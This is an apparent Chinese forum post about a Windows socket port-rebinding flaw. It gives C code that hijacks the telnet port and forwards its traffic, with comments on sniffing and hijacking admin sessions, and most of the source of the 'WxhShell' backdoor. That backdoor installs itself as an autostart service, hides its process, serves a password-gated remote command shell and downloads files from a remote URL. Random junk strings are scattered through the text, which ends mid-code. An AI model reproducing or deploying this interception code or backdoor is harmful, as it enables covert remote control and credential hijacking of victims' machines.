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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /}~=)QHH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9&f+I@K  
J^jd@E  
  saddr.sin_family = AF_INET; f^1J_}cL  
&Ril[siw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bl a`B=r  
w6!97x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,b!D8{W"N  
V 9$T=[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |;~=^a3?q  
qA!p7"m|  
  这意味着什么?意味着可以进行如下的攻击: OJa(Gds  
4RVqfD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jdJTOT  
@ !su7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k*N!U[]  
Vq]ixag2^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r'{N_|:vv  
<`pNdy4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  . KLEx]f.  
rN|=cn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p =nbsS~":  
5Z_C (5)/Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zTB&Wlt  
u>9` ?O44  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vu.=,G  
vq(#Ih2  
  #include L#K`F8Wi=  
  #include vx($o9  
  #include XjL3Ar*  
  #include    yYJ_;Va  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M;y*`<x  
  int main() zJy=1r  
  { YdO*5Gb6  
  WORD wVersionRequested; tWy.Gz\  
  DWORD ret; pt.V^a  
  WSADATA wsaData; !Ea >tQ|  
  BOOL val; ^4 $4x  
  SOCKADDR_IN saddr; i \NV<I  
  SOCKADDR_IN scaddr; 1xS+r)_n@  
  int err; =AzPAN#e  
  SOCKET s; 3A`]Rk   
  SOCKET sc; j8Z;}Ps  
  int caddsize; K\9CW%W  
  HANDLE mt; a-|pSe*rx  
  DWORD tid;   k/{WlLN  
  wVersionRequested = MAKEWORD( 2, 2 ); \7b, Mz!  
  err = WSAStartup( wVersionRequested, &wsaData ); [k%hl`}  
  if ( err != 0 ) { Wj,s/Yr:  
  printf("error!WSAStartup failed!\n"); R&Nl!QTJj  
  return -1; V:y6NfL7i'  
  } 1-E6ACq  
  saddr.sin_family = AF_INET; r9{@e^Em  
   -}UY2)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8_4!Ar>2  
F|> 3gW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CBf[$[e  
  saddr.sin_port = htons(23); x@q.u3o9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z S=H1  
  { k)7i^ 1U  
  printf("error!socket failed!\n"); 7oF3^K'S  
  return -1; {Cm!5QYy  
  } ,L-/7}"VHA  
  val = TRUE; #T8o+tv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7uc\AhOk6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W !j-/ql  
  { yC1OeO8{  
  printf("error!setsockopt failed!\n"); {p1`[R&n#  
  return -1; %dPk,Ylz  
  } J.h` 0$!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /gF)msUF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^OQP;5 #K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2LUsqL\m}.  
N2s"$Ttq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }UsH#!9.  
  { AVD hgJv  
  ret=GetLastError(); M^oL.'  
  printf("error!bind failed!\n"); xP'0a  
  return -1; YSGE@  
  } :5/Ue,~ag  
  listen(s,2); EF:ec9 .  
  while(1) d lfjx  
  { 5&Yt=)c\  
  caddsize = sizeof(scaddr); zs]ubJC@  
  //接受连接请求 sc+%v1Y#}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J@/4CSCR]  
  if(sc!=INVALID_SOCKET) xwZ1Q,'C  
  { ~*1>)P8]#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iT==aJ=~/&  
  if(mt==NULL) ")MHP~ ?  
  { kbb!2`F!%  
  printf("Thread Creat Failed!\n"); gq+0t  
  break;  >I4BysR  
  } ho{%7\  
  } neM)(` gp  
  CloseHandle(mt); =nCA=-Jv  
  } (.!9  
  closesocket(s); H(.9tuA  
  WSACleanup(); udUc&pX  
  return 0; |MGT8C&^!  
  }   5r 4~vK  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7I w^  
  { #sCR}  
  SOCKET ss = (SOCKET)lpParam; ?P[:,0_  
  SOCKET sc; w~Q\:<x&~Z  
  unsigned char buf[4096]; Sc{&h8KMTb  
  SOCKADDR_IN saddr; DDkN3\w  
  long num; 1(Vv-bq$  
  DWORD val; I= :yfW  
  DWORD ret; D+uo gRS61  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v[uVAbfQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V.`hk^V,  
  saddr.sin_family = AF_INET; J&\Q3_vro9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \wz^Z{U  
  saddr.sin_port = htons(23); ! N2uJ?t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^}$t(t  
  { >4wigc  
  printf("error!socket failed!\n"); iWjNK"W  
  return -1; l=XZBe*[g'  
  } %%X/gvaJ  
  val = 100; }Y!V3s1bm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iSf%N>y'K  
  { \m)s"Sh.  
  ret = GetLastError(); %52e^,//  
  return -1; XuJyso9kA  
  } d4IQ;u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bX38=.up  
  { =t_+ajY%  
  ret = GetLastError(); `m(ZX\W]  
  return -1; A94:(z;{  
  } Y_n/rD>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m_Hg!Lg  
  { c$[2tZ  
  printf("error!socket connect failed!\n"); 5: gpynE|  
  closesocket(sc); 2&S^\kf  
  closesocket(ss); ~`e!$=  
  return -1; ' u<IS/w  
  } }Jh.+k|_  
  while(1) aK6dy\  
  { a7_Q8iMe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r>8`g Ahx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .a2R2~35  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oO[eer_S-  
  num = recv(ss,buf,4096,0); qmpT G:+  
  if(num>0) GtmoFSZ  
  send(sc,buf,num,0); ?84f\<"  
  else if(num==0) ~H\P0G5GA  
  break; ]vcT2lr]  
  num = recv(sc,buf,4096,0); NaoOgZ?  
  if(num>0) _`=qc/-0  
  send(ss,buf,num,0); V#,|#2otZ  
  else if(num==0) ,Zie2I?q  
  break; *j83E[(]  
  } W!ug^2"  
  closesocket(ss); Yl au  
  closesocket(sc); W<&/5s  
  return 0 ; 5KB Z-,  
  } (BH<\&yHE  
n+=7u[AZi  
^[[@P(e>  
========================================================== n,2p)#?  
[4qvQ7Y !  
下边附上一个代码,,WXhSHELL MbYgGE,LA  
1^NC=IS9z  
========================================================== zhow\l2t}  
1H">Rb30@  
#include "stdafx.h" ;/Y#ph[  
B_Gcz5  
#include <stdio.h> aO |@w"p8  
#include <string.h> ?8grK  
#include <windows.h> D`41\#ti  
#include <winsock2.h> PQ!'<  
#include <winsvc.h> 'Sd+CXS  
#include <urlmon.h> &/' O?HWl  
8}[<3K%*g  
#pragma comment (lib, "Ws2_32.lib") ,>(X}Q  
#pragma comment (lib, "urlmon.lib") 2@_3V_  
(@T{ [\  
#define MAX_USER   100 // 最大客户端连接数 s0_HMP x  
#define BUF_SOCK   200 // sock buffer C-49u<; ,  
#define KEY_BUFF   255 // 输入 buffer s!gVY!0  
c9uu4%KG6<  
#define REBOOT     0   // 重启 yWc%z6dXC  
#define SHUTDOWN   1   // 关机 8$JJI( {bH  
-k>k<bDAI  
#define DEF_PORT   5000 // 监听端口 b't6ekkN  
"6WJj3h N  
#define REG_LEN     16   // 注册表键长度 A Ef@o+A  
#define SVC_LEN     80   // NT服务名长度 #.]W>hN8\  
Y._ACQG3  
// 从dll定义API =dKk #*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -H\j-k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _{LmJ?!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mOjjw_3gq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pIm ]WNX(  
&% (1?\~u  
// wxhshell配置信息 ,{"K^  
struct WSCFG { Kzt:rhiB  
  int ws_port;         // 监听端口 FbdC3G|oA  
  char ws_passstr[REG_LEN]; // 口令 M?gZKdj  
  int ws_autoins;       // 安装标记, 1=yes 0=no RM%Z"pc Y6  
  char ws_regname[REG_LEN]; // 注册表键名 #\="^z6  
  char ws_svcname[REG_LEN]; // 服务名 |j8#n`'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2,|@a\H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TFbF^Kd#:d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5M8   
int ws_downexe;       // 下载执行标记, 1=yes 0=no i7\>uni  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `x L@%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NXOvC!<  
2mx }bj8  
}; E/% F0\B  
@[/!e`]+  
// default Wxhshell configuration /3"S_KE1@+  
struct WSCFG wscfg={DEF_PORT, 0icB2Jm:D}  
    "xuhuanlingzhe", Z +<Y.*6  
    1, FNl^ lj`Y  
    "Wxhshell", rhQO#_`  
    "Wxhshell", gs@^u#O  
            "WxhShell Service", z;0]T=g  
    "Wrsky Windows CmdShell Service", &t@ $]m(  
    "Please Input Your Password: ", eEmLl(Lb  
  1, -42 U  
  "http://www.wrsky.com/wxhshell.exe", lvk*Db$  
  "Wxhshell.exe" 4uVyf^f\]f  
    };  -x/g+T-  
~F~hgVS5  
// 消息定义模块 Z\?!& &  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ryd}-_LL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `AdHyE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ybB<AkYc  
char *msg_ws_ext="\n\rExit."; !wrAD"l*@  
char *msg_ws_end="\n\rQuit."; .= 8Es#  
char *msg_ws_boot="\n\rReboot..."; 4x/u$Ixzh=  
char *msg_ws_poff="\n\rShutdown..."; `Uk jr MO  
char *msg_ws_down="\n\rSave to "; &)~LGWBdC  
xA}{ZnTbN  
char *msg_ws_err="\n\rErr!"; i079 V  
char *msg_ws_ok="\n\rOK!";  q,'~=Y5  
Dt]FmU  
char ExeFile[MAX_PATH]; Hc q@7g  
int nUser = 0; HOPsp  
HANDLE handles[MAX_USER]; =4x-x nA  
int OsIsNt; LGCeYXic  
%ZlnGr  
SERVICE_STATUS       serviceStatus; y2C/DyuAY|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \g@jc OKU  
L\<J|87p?  
// 函数声明 wi:d!,P`e  
int Install(void); AkqGk5e ^  
int Uninstall(void); afcyAzIB&  
int DownloadFile(char *sURL, SOCKET wsh); AqrK==0N  
int Boot(int flag); 0*u X2*  
void HideProc(void); <DdzDbgax  
int GetOsVer(void); l)0yv2[h  
int Wxhshell(SOCKET wsl); Xb*>7U/'T  
void TalkWithClient(void *cs); lU3Xd_v O  
int CmdShell(SOCKET sock); %x$mAOUv  
int StartFromService(void); 0I.!  
int StartWxhshell(LPSTR lpCmdLine); iB'g7&,L  
O{G $]FtF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k1WyV_3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]0p*EB=C*  
23UXOY0BW  
// 数据结构和表定义 vf_pEkx*wD  
SERVICE_TABLE_ENTRY DispatchTable[] = @] {:juD~  
{ tbi(e49S  
{wscfg.ws_svcname, NTServiceMain}, gem+$TFq  
{NULL, NULL} /^Lo@672  
}; z;i4F.p  
x\(yjNZH  
// 自我安装 TGPHjSZ1  
int Install(void) \cq.M/p  
{ q/YO5>s15  
  char svExeFile[MAX_PATH]; =0mGfT c  
  HKEY key; o Bp.|8-  
  strcpy(svExeFile,ExeFile); 5s2/YG=  
>5]w\^QN9_  
// 如果是win9x系统,修改注册表设为自启动 " []J[!}x  
if(!OsIsNt) { L2y{\<JC"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |.U- yyz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C;!h4l7L  
  RegCloseKey(key); P~*v}A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Xj ,>2m;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AqP\g k  
  RegCloseKey(key); l_*:StyR+  
  return 0; X`n*M]  
    } g.O? 1bebe  
  } v&ZI<Xt+  
} 9!6yo  
else { $L$GI~w/  
p/uOCQ|1l  
// 如果是NT以上系统,安装为系统服务 QWxl$%`89<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kPZ1OSX  
if (schSCManager!=0) !' @  
{ ,k3aeM~`%w  
  SC_HANDLE schService = CreateService CU(W0D  
  ( s((_^yf  
  schSCManager, ?GGh )";y  
  wscfg.ws_svcname, nnO@$T  
  wscfg.ws_svcdisp, ()i!Uo  
  SERVICE_ALL_ACCESS, QJ-?6 7_i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ! J@pox-t  
  SERVICE_AUTO_START, `<l|XPv  
  SERVICE_ERROR_NORMAL, 4&LoE~  
  svExeFile, x@>^c:-f  
  NULL, O/R>&8R$  
  NULL, y0XI?Wr  
  NULL, } "ts  
  NULL, 1&}^{ Ys  
  NULL V 5ihplAk  
  ); OKq={l  
  if (schService!=0) Y_Lsmq2!  
  {  7QkAr  
  CloseServiceHandle(schService); ,s1n! @9  
  CloseServiceHandle(schSCManager); ui6B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r\66]u[  
  strcat(svExeFile,wscfg.ws_svcname); ?|9$o/Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /L"&'~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;42D+q=s  
  RegCloseKey(key); w]0jq U6  
  return 0; &9'JHF!l  
    } >(HUW^T/9z  
  } 9wFQ<r  
  CloseServiceHandle(schSCManager); KGX?\#-  
} U!x\oLP  
} QcQ|,lA.HI  
;EfMTI}6K  
return 1; KPA5 X]  
} b511qc"i>M  
57b;{kl  
// 自我卸载 VI`x fmVOQ  
int Uninstall(void) way-Q7  
{ X_eV<]zA+  
  HKEY key; |"Oazll  
MPd#C*c  
if(!OsIsNt) { /_554q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lsozl<@  
  RegDeleteValue(key,wscfg.ws_regname); %rRpUrnm  
  RegCloseKey(key); VU*{E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SVo`p;2r  
  RegDeleteValue(key,wscfg.ws_regname); T't^pO-`  
  RegCloseKey(key); v+=_  
  return 0; ~dwl7Qc  
  } Q$9`QY*6"p  
} b\\?aR |  
} vu.f B4  
else { Ic/<jFZXM  
JhDjY8?86  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :1>R~2  
if (schSCManager!=0) |E]YP~h  
{ } q ? iJ?P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z{n7z$s*  
  if (schService!=0) /bylA`IMW  
  { `"CF/X^  
  if(DeleteService(schService)!=0) { uS|Zkuk[!  
  CloseServiceHandle(schService); u;:N 4d=f'  
  CloseServiceHandle(schSCManager); \9/n~/{  
  return 0; y K&)H+v  
  } q+o(`N'~G  
  CloseServiceHandle(schService); MU&5&)m  
  } "v3u$-xN1  
  CloseServiceHandle(schSCManager); aV(*BE/@F  
} lv ^=g  
} }Gz"og*8  
5J&n<M0G1  
return 1; xI~\15PhG  
} =4MiV]  
FM7N|] m  
// 从指定url下载文件 knBT(x'+  
int DownloadFile(char *sURL, SOCKET wsh) 6<t\KMd  
{ 73.o{V  
  HRESULT hr; 6v1#i  
char seps[]= "/"; %9NGVC  
char *token; j4}aK2[<  
char *file; t7A.b~#  
char myURL[MAX_PATH]; I"JT3[*s  
char myFILE[MAX_PATH]; ESASsRzk  
28BiuxVW  
strcpy(myURL,sURL); >k\*NW  
  token=strtok(myURL,seps); f3l >26  
  while(token!=NULL) XLbrE|0A?  
  { bt&vik _  
    file=token; Y!*,G]7  
  token=strtok(NULL,seps); xG}eiUbM`  
  } +ic~Sar  
*} w.xt  
GetCurrentDirectory(MAX_PATH,myFILE); SKfv.9  
strcat(myFILE, "\\"); l2`8]Qr   
strcat(myFILE, file); T)Nis~  
  send(wsh,myFILE,strlen(myFILE),0); >v<}$v6D~  
send(wsh,"...",3,0); ,.}PZL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uV 6f~cQ  
  if(hr==S_OK) "| Q&  
return 0; ;LrKXp  
else kkOYC?zE?  
return 1; Mc6Cte]3|  
nC&rQQFF  
} @xkM|N?  
4GHIRH C%[  
// 系统电源模块 3P\I;xM  
int Boot(int flag) b]g.>$[nX  
{ O: BP35z_F  
  HANDLE hToken; [7s5Vt|  
  TOKEN_PRIVILEGES tkp; ;Ok11wOw  
^3yjE/Wi"  
  if(OsIsNt) { wA~Nfn ^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *<A;jP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !7 ^He3  
    tkp.PrivilegeCount = 1; %mYIXsuH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ $"iO#oO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F9+d7 Y$  
if(flag==REBOOT) {  vo(?[[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X)&Z{ V>  
  return 0; wRiP5U,  
} .$OInh  
else { 1)PR]s:-m@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ntkinbbD  
  return 0; bA^a@ lv a  
} z vYDE]  
  } P`%ppkzV6  
  else { *HXq`B  
if(flag==REBOOT) { X%F9.<4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RU >vnDaC  
  return 0; f%}+.e D  
} jN<]yhqf  
else { QNtr=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6aK--k  
  return 0; P< &/$x6  
} %8{_;-f  
} OLR1/t`V  
[qI*]  
return 1; GB+d0 S4  
} |zT0g]WH  
s+w<!`-  
// win9x进程隐藏模块 N*MR6~z4  
void HideProc(void) 7cy~qg  
{ xXYens}  
E0h p%:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (hV"z;rI  
  if ( hKernel != NULL ) Gehl/i-  
  { @/u`7FO$&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !?>)[@2 k6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PmY:sJ{M  
    FreeLibrary(hKernel); hpyre B  
  } S p )}  
"$'~=' [  
return; 6K y;1$  
} &;skB.  
^0 lPv!2  
// 获取操作系统版本 4a|Fx  
int GetOsVer(void) &}$D[ 4N  
{ / IS WC   
  OSVERSIONINFO winfo; oQXkMKZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 16Y~5JAc  
  GetVersionEx(&winfo); Os!22 O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zLqp@\sT  
  return 1; bLzuaNa'  
  else |K-lg rA  
  return 0; y m{/0&7  
} ~b[4'm@  
@(?4g-*E  
// 客户端句柄模块 D` X6'PP  
int Wxhshell(SOCKET wsl) eM"mP&TTL  
{ <^_?hN8.  
  SOCKET wsh; NETC{:j  
  struct sockaddr_in client; TjK5UML  
  DWORD myID; =k7\g /  
<3x#(ms!!  
  while(nUser<MAX_USER) n1>nnH]G  
{ F.5b|&@  
  int nSize=sizeof(client); G0> Wk#or  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mO> M=2A  
  if(wsh==INVALID_SOCKET) return 1; CEq]B:[IC  
PI \,`^)y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #jx?uS  
if(handles[nUser]==0) <xjv7`G7  
  closesocket(wsh); 05 Q8`  
else kw:D~E (  
  nUser++; %pkq ?9  
  } MEnHC'nI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AS_+}*WSFQ  
_5w?v~65  
  return 0; N:[;E3?O  
} 5)5bt q)[  
M9g\/]Io;  
// 关闭 socket "4hpU]4j  
void CloseIt(SOCKET wsh) cEjdImAzU  
{ $#FlnM<=  
closesocket(wsh); 97wy;'J[u  
nUser--; WbWW=(N'd  
ExitThread(0); MxEAs}MDv  
} %=8(B.I!  
2\\3<  
// 客户端请求句柄 @h$0S+?:  
void TalkWithClient(void *cs) [(F<|f:n  
{ dd7nO :]  
F'$S!K58  
  SOCKET wsh=(SOCKET)cs; $jh>zf  
  char pwd[SVC_LEN]; )9*3^v  
  char cmd[KEY_BUFF]; gNN" H#=2  
char chr[1]; Q9xx/tUW  
int i,j; )$h9Y   
XJ~l5} y ]  
  while (nUser < MAX_USER) { nSQ}yqM)  
lO:{tV  
if(wscfg.ws_passstr) { &N_c-@2O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7QiCZcb\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xyjV dD\  
  //ZeroMemory(pwd,KEY_BUFF); nCMa$+  
      i=0; z12But\<  
  while(i<SVC_LEN) { X5|/s::u  
 5vF}F^  
  // 设置超时 9r+O!kF(  
  fd_set FdRead; q+n1~AT  
  struct timeval TimeOut; UdW(\%  
  FD_ZERO(&FdRead); k)K-mD``U  
  FD_SET(wsh,&FdRead); c_bVF 'Bz  
  TimeOut.tv_sec=8; q[OTaSQ~u^  
  TimeOut.tv_usec=0; .7gE^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qb't*2c%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r82o[+$u0K  
o $`kpr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }t%>_  
  pwd=chr[0]; _d| 62VS  
  if(chr[0]==0xd || chr[0]==0xa) { 1 j^c  
  pwd=0; -A%?T"  
  break; H'GYJ ?U"  
  } km\ld&d]$  
  i++; .83v~{n  
    } -y*_.Ws9  
`$sY^EX  
  // 如果是非法用户,关闭 socket 1H4Zgh U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /3[ 9{r  
} 42>m,fb2[  
Fv);5LD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^_KD&%M6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bxdXZB n  
iE^a%|?}  
while(1) { V}|v!h[O8  
zYG,x*IH  
  ZeroMemory(cmd,KEY_BUFF); "8muMa8Q%  
IiK(^:~%  
      // 自动支持客户端 telnet标准   #>:(#^Uu  
  j=0; CSL{Q  
  while(j<KEY_BUFF) { y /:T(tk$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \;*}zX  
  cmd[j]=chr[0]; d$_q=ywc  
  if(chr[0]==0xa || chr[0]==0xd) { ?5yH'9zE  
  cmd[j]=0; sjzXJ`s  
  break; Sn0gTsZ  
  } 0)oN[  
  j++; k<Tez{<  
    } ~kYqGH  
2yQ}Lxr(  
  // 下载文件 y2#>c*  
  if(strstr(cmd,"http://")) { E!I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zzfn0g  
  if(DownloadFile(cmd,wsh)) 80$0zbw$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &6t3SZV  
  else a}Fk x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sc'c$/  
  } pH\^1xj =  
  else { zd9]qo  
inBPT~y  
    switch(cmd[0]) { -H4+ur JJ  
  O*rmD<L$  
  // 帮助 T")i+v  
  case '?': { pYfV~Q^3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IypWVr   
    break; v : "m  
  } fi&uB9hc  
  // 安装 c3V]'~  
  case 'i': { 2>$F0 M  
    if(Install()) ]<q}WjXD'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*(K UG>  
    else `.>k)=F&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  L%WME8PB  
    break; afY_9g!\  
    } 8Z dUPW\e  
  // 卸载 NT@YLhs?  
  case 'r': { %'"HGZn b  
    if(Uninstall()) <rB3[IJo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5c]}G.NV  
    else 6QII&Fg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RVkU+7  
    break; ^`rpf\GX(  
    } d@4rD}_Z  
  // 显示 wxhshell 所在路径  dd<:#c9  
  case 'p': { pgLtD};S  
    char svExeFile[MAX_PATH]; n5v'  
    strcpy(svExeFile,"\n\r"); lMC{SfdH  
      strcat(svExeFile,ExeFile); cq,v1Y<  
        send(wsh,svExeFile,strlen(svExeFile),0); 382*  
    break; F!gNt<fZ  
    } _%'L@[ H  
  // 重启 eyT>wma0  
  case 'b': { PFS;/   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V06CCy8n  
    if(Boot(REBOOT)) `ke3+%uj o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9c6czirwR^  
    else { skIiJ'db  
    closesocket(wsh); @~k5+Z  
    ExitThread(0); 6 Wpxp\  
    } WR/o @$/  
    break; i<T P:  
    } pWs\.::B  
  // 关机 `KpFH.k.K  
  case 'd': { c~}={4M]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oZvA~]x9\  
    if(Boot(SHUTDOWN)) V @D]bV@4  
